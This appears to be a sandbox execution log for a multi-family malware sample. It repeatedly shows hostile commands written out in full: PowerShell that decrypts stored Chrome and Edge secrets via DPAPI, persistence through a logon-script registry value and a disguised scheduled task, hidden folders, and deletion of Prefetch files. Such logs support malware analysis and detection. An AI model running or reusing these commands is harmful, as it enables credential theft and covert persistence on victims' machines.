                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                    3⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    PID:4332
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                  2⤵
                                                                                  • Network Service Discovery
                                                                                  PID:3588
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                    3⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Network Service Discovery
                                                                                    PID:2276
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                  2⤵
                                                                                    PID:2040
                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                      wmic path win32_VideoController get name
                                                                                      3⤵
                                                                                      • Detects videocard installed
                                                                                      PID:5896
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.2a22a8abcache""
                                                                                    2⤵
                                                                                    • Hide Artifacts: Hidden Files and Directories
                                                                                    PID:3276
                                                                                    • C:\Windows\system32\attrib.exe
                                                                                      attrib +h +s "C:\Users\Admin\AppData\Roaming\.2a22a8abcache"
                                                                                      3⤵
                                                                                      • Views/modifies file attributes
                                                                                      PID:4952
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.2a22a8abcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                    2⤵
                                                                                      PID:5864
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.2a22a8abcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                        3⤵
                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                        PID:4384
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.2a22a8abcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                      2⤵
                                                                                        PID:1980
                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                          schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.2a22a8abcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                          3⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:4828
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_973dec780f1ea440.dat""
                                                                                        2⤵
                                                                                        • Hide Artifacts: Hidden Files and Directories
                                                                                        PID:4760
                                                                                        • C:\Windows\system32\attrib.exe
                                                                                          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_973dec780f1ea440.dat"
                                                                                          3⤵
                                                                                          • Views/modifies file attributes
                                                                                          PID:5836
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                        2⤵
                                                                                          PID:4200
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                            3⤵
                                                                                              PID:4328
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                            2⤵
                                                                                              PID:4360
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065329243.bat""
                                                                                              2⤵
                                                                                                PID:3388
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065329243.bat"
                                                                                                  3⤵
                                                                                                    PID:5028
                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                      timeout /t 5
                                                                                                      4⤵
                                                                                                      • Delays execution with timeout.exe
                                                                                                      PID:1320
                                                                                              • C:\Users\Admin\AppData\Roaming\.2a22a8abcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                C:\Users\Admin\AppData\Roaming\.2a22a8abcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                1⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks processor information in registry
                                                                                                PID:3268
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 616" /FO CSV /NH"
                                                                                                  2⤵
                                                                                                    PID:5888
                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                      tasklist /FI "PID eq 616" /FO CSV /NH
                                                                                                      3⤵
                                                                                                      • Enumerates processes with tasklist
                                                                                                      PID:2852
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                    2⤵
                                                                                                      PID:1176
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                        3⤵
                                                                                                          PID:4100
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                        2⤵
                                                                                                          PID:1868
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                            3⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            PID:2612
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                          2⤵
                                                                                                          • Network Service Discovery
                                                                                                          PID:2196
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                            3⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Network Service Discovery
                                                                                                            PID:4912
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                          2⤵
                                                                                                            PID:5732
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic path win32_VideoController get name
                                                                                                              3⤵
                                                                                                              • Detects videocard installed
                                                                                                              PID:5944
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.b3080ba5cache""
                                                                                                            2⤵
                                                                                                            • Hide Artifacts: Hidden Files and Directories
                                                                                                            PID:1316
                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                              attrib +h +s "C:\Users\Admin\AppData\Roaming\.b3080ba5cache"
                                                                                                              3⤵
                                                                                                              • Views/modifies file attributes
                                                                                                              PID:3152
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.b3080ba5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                            2⤵
                                                                                                              PID:2568
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.b3080ba5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                3⤵
                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                PID:1576
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.b3080ba5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                              2⤵
                                                                                                                PID:2608
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.b3080ba5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                  3⤵
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:256
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_1ba8e37b5786b3ef.dat""
                                                                                                                2⤵
                                                                                                                • Hide Artifacts: Hidden Files and Directories
                                                                                                                PID:5356
                                                                                                                • C:\Windows\system32\attrib.exe
                                                                                                                  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_1ba8e37b5786b3ef.dat"
                                                                                                                  3⤵
                                                                                                                  • Views/modifies file attributes
                                                                                                                  PID:4876
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                2⤵
                                                                                                                  PID:3328
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                    3⤵
                                                                                                                      PID:4276
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                    2⤵
                                                                                                                      PID:2928
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065354619.bat""
                                                                                                                      2⤵
                                                                                                                        PID:5444
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065354619.bat"
                                                                                                                          3⤵
                                                                                                                            PID:5728
                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                              timeout /t 5
                                                                                                                              4⤵
                                                                                                                              • Delays execution with timeout.exe
                                                                                                                              PID:5896
                                                                                                                      • C:\Users\Admin\AppData\Roaming\.b3080ba5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\.b3080ba5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Checks processor information in registry
                                                                                                                        PID:1952
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 2744" /FO CSV /NH"
                                                                                                                          2⤵
                                                                                                                            PID:596
                                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                                              tasklist /FI "PID eq 2744" /FO CSV /NH
                                                                                                                              3⤵
                                                                                                                              • Enumerates processes with tasklist
                                                                                                                              PID:4508
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                            2⤵
                                                                                                                              PID:4740
                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                3⤵
                                                                                                                                  PID:2456
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                2⤵
                                                                                                                                  PID:4308
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    PID:4828
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                  2⤵
                                                                                                                                  • Network Service Discovery
                                                                                                                                  PID:2232
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Network Service Discovery
                                                                                                                                    PID:1224
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                  2⤵
                                                                                                                                    PID:5256
                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                      3⤵
                                                                                                                                      • Detects videocard installed
                                                                                                                                      PID:4196
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.767c787ecache""
                                                                                                                                    2⤵
                                                                                                                                    • Hide Artifacts: Hidden Files and Directories
                                                                                                                                    PID:5712
                                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                                      attrib +h +s "C:\Users\Admin\AppData\Roaming\.767c787ecache"
                                                                                                                                      3⤵
                                                                                                                                      • Views/modifies file attributes
                                                                                                                                      PID:2616
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.767c787ecache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                    2⤵
                                                                                                                                      PID:2100
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.767c787ecache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                        3⤵
                                                                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                        PID:4120
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.767c787ecache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                      2⤵
                                                                                                                                        PID:1712
                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                          schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.767c787ecache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                          3⤵
                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                          PID:5668
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_c592a82c998cd2be.dat""
                                                                                                                                        2⤵
                                                                                                                                        • Hide Artifacts: Hidden Files and Directories
                                                                                                                                        PID:1776
                                                                                                                                        • C:\Windows\system32\attrib.exe
                                                                                                                                          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_c592a82c998cd2be.dat"
                                                                                                                                          3⤵
